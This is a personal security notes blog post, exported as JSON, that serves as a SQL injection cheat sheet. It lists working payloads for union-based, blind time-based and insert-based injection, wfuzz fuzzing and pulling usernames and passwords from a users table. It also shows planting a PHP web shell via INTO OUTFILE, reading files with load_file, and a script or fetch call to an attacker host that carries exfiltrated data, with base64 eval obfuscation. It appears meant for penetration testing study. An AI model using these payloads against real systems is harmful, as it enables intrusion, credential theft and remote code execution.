{"id":438,"date":"2019-09-20T14:47:04","date_gmt":"2019-09-20T12:47:04","guid":{"rendered":"https:\/\/privat.andreas-klingler.de\/itsec\/?p=438"},"modified":"2026-06-04T10:37:04","modified_gmt":"2026-06-04T08:37:04","slug":"sql-injections","status":"publish","type":"post","link":"https:\/\/infosec.andreas-klingler.de\/?p=438","title":{"rendered":"SQL<\/span> injections"},"content":{"rendered":"\n
    \n
  1. First, try to add \u2019 or \u201d in a field to see if the appli\u00adca\u00adtion throws an error.<\/li>\n\n\n\n
  2. Try now a OR<\/span> query which should return more con\u00adtent or anoth\u00ader error. 
    ' OR 1=1<\/pre><\/li>\n\n\n\n
  3. Try to add a state\u00adment and guess some fields which could be includ\u00aded in the error mes\u00adsage.
    ' OR 1=1 in (SELECT password FROM users WHERE name = 'admin') -- \/\/<\/code>
    ' OR 1=1 in (SELECT version()) -- \/\/<\/code><\/li>\n<\/ol>\n\n\n\n
    Union-based injections<\/h2>\n\n\n\n
      \n
    1. Then, try to fig\u00adure out how many columns are returned by adding an increas\u00ading num\u00adber or ORDER<\/span> BY<\/span> stata\u00adments until final\u00adly the exe\u00adcu\u00adtion fails.
      ' ORDER BY 1 -- \/\/
      ' ORDER BY 2 -- \/\/
      ' ORDER BY 3 -- \/\/
      ...<\/code><\/span>
      As soon as the exe\u00adcu\u00adtion fails, the com\u00admand before indi\u00adcates the tables col\u00adumn count.<\/li>\n\n\n\n
    2. Try now to add a SQL<\/span> state\u00adment which con\u00adtains some inter\u00adest\u00ading func\u00adtions (depend\u00ading on the data\u00adbase) and is padded with the prop\u00ader num\u00adber of dum\u00admy columns to match the pre\u00adviosly found col\u00adumn count. For MySQL and 5 columns:
      %' UNION SELECT database(), user(), @@version, null, null -- \/\/<\/code>
      Note that it could be that the web page returns only some columns like $ret[2]<\/code> \u2014 in this case, repeat the state\u00adment, but change the order of the data\u00adbase func\u00adtions.
      Anoth\u00ader state\u00adment could be:
      %' union select null, table_name, column_name, table_schema, null from information_schema.columns where table_schema=database() -- \/\/<\/code><\/li>\n\n\n\n
    3. <\/li>\n<\/ol>\n\n\n\n
      Blind SQL<\/span> injections<\/h2>\n\n\n\n
      If no out\u00adput is giv\u00aden from a state\u00adment, try to use time-based approaches.<\/p>\n\n\n\n
        \n
      1. While some\u00adthing like
        file.php?username=blabla' AND 1=1 -- \/\/<\/code>
        may not return any\u00adthing if the user\u00adname does not exist, the state\u00adment
        file.php?username=blabla' AND IF (1=1, sleep(5), 'false') -- \/\/<\/code>
        will slow down the appli\u00adca\u00adtion\u2019s response if the giv\u00aden user exists.<\/li>\n\n\n\n
      2. <\/li>\n<\/ol>\n\n\n\n
        Fuzzing<\/h2>\n\n\n\n
          \n
        1. Get a request with fields which could be injectable.<\/li>\n\n\n\n
        2. use wfuzz and insert FUZZ<\/span> in dif\u00adfer\u00adent fields:
          wfuzz -c -z file,\/usr\/share\/wordlists\/wfuzz\/Injections\/SQL.txt -d \"name=&order=FUZZ\" -u http:\/\/$target\/api\/invoices<\/code><\/li>\n<\/ol>\n\n\n\n
          Enumerating in inserts<\/h2>\n\n\n\n
          Assum\u00ading the INSERT<\/span> state\u00adment is<\/p>\n\n\n\n
          INSERT INTO $tablename (email,name) VALUES (\"email\", \"name\");<\/pre>\n\n\n\n
          Then try a tim\u00ading attack to deter\u00admine if a cer\u00adtain val\u00adue is in a field:<\/p>\n\n\n\n
          INSERT INTO newsletter (name,email) VALUES ('name', '\n  ' AND (IF((SELECT email FROM newsletter WHERE email=\"known_value\") = \"known_value\", sleep(10), 0)) AND '\n');<\/pre>\n\n\n\n
          Forcing errors<\/h2>\n\n\n\n
          You can use cast(...)<\/code> to con\u00advert a string into an integer.<\/p>\n\n\n\n
          Enumerating the structure<\/h2>\n\n\n\n
          Try to add a ORDER<\/span> BY<\/span> 1,2,3,\u2026 to gues how many columns there are:<\/p>\n\n\n\n
          SELECT * FROM menu ORDER BY 5;-- at some point, an error will occur.<\/pre>\n\n\n\n
          Try to add an UNION<\/span> state\u00adment into an injectable para\u00adme\u00adter and com\u00adbine the out\u00adput with a vari\u00adable (in this case for MySQL)<\/p>\n\n\n\n
          ?id=1 UNION ALL SELECT 1, @@version\n?id=1 UNION ALL SELECT 1, 2, @@version # <-- following examples are for this case.\n?id=1 UNION ALL SELECT 1, 2, 3, @@version\n...<\/pre>\n\n\n\n
          For the query that worked, obtain then infor\u00adma\u00adtion about the tables:<\/p>\n\n\n\n
          ?id=1 UNION ALL SELECT 1, 2, table_name FROM information_schema.tables<\/pre>\n\n\n\n
          Then, choose a table to explore, for exam\u00adple users<\/em>. Then, enu\u00admer\u00adate the columns of this table:<\/p>\n\n\n\n
          ?id=1 UNION ALL SELECT 1, 2, column_name FROM information_schema.columns WHERE table_name='users'<\/pre>\n\n\n\n
          Then, val\u00adues from the tar\u00adget\u00aded table can be retrieved:<\/p>\n\n\n\n
          ?id=1 UNION ALL SELECT 1, username, password from users<\/pre>\n\n\n\n
          Code execution<\/h2>\n\n\n\n
          Exam\u00adple to write a string into a file:<\/p>\n\n\n\n
          ?id=1 union all select 1, 2, \"<?php echo shell_exec($_GET['cmd']);?>\" into OUTFILE 'c:\/xampp\/htdocs\/backdoor.php' -- \/\/<\/pre>\n\n\n\n
          Useful commands<\/h2>\n\n\n\n
          load_file returns the con\u00adtent of a file.<\/p>\n\n\n\n
          evil.php?id=42 union select 1,2,3,load_file('C:\/...')<\/pre>\n\n\n\n
          INTO<\/span> OUTFILE<\/span> writes con\u00adtent into a file.<\/p>\n\n\n\n
          \n
          \n
          \n
          \n
          evil.php?id=738 union all select 1,2,3,4,\"<?php echo shell_exec($_GET['cmd']);?>\",6 into OUTFILE 'c:\/xampp\/htdocs\/backdoor.php'<\/pre>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n\n\n\n
          Enu\u00admer\u00adate the count of columns: Request the fol\u00adlow\u00ading and repeat it and increase the order by para\u00adme\u00adter. An error appears after one col\u00adumn to many.<\/p>\n\n\n\n
          evil.php?id=1 order by 1<\/pre>\n\n\n\n
          Loading JS<\/span> from external source<\/h2>\n\n\n\n
          To inject more com\u00adplex JS<\/span> from an own serv\u00ader, inject this:<\/p>\n\n\n\n
          <script src=http:\/\/$attacker\/s.js\"><\/script><\/code><\/pre>\n\n\n\n
          And pro\u00advide this.<\/p>\n\n\n\n
          To load own JS<\/span> direct\u00adly, use this:<\/p>\n\n\n\n
          fetch(\"http:\/\/$attacker\/s.js?maybe_also_with=$var_for_exfiltration\")<\/code><\/pre>\n\n\n\n
          If due to char\u00adac\u00adter restric\u00adtions you have to obfuscate:<\/p>\n\n\n\n
            \n
          1. Con\u00advert your pay\u00adload to base64.<\/li>\n\n\n\n
          2. Instead of
            '+alert('aha')+'<\/code>
            use
            '+eval(atob('base64...'))+'<\/code><\/li>\n\n\n\n
          3. Should there an issue because the inject\u00aded string is used else\u00adwhere and leads to a script error, wrap the result into a func\u00adtion which removes spe\u00adcial char\u00adac\u00adters so that there is no rea\u00adson for a fail\u00adure else\u00adwhere:
            '+btoa(eval(atob('base64...')))+'<\/code><\/li>\n<\/ol>\n\n\n\n
            Automatic tools<\/h1>\n\n\n\n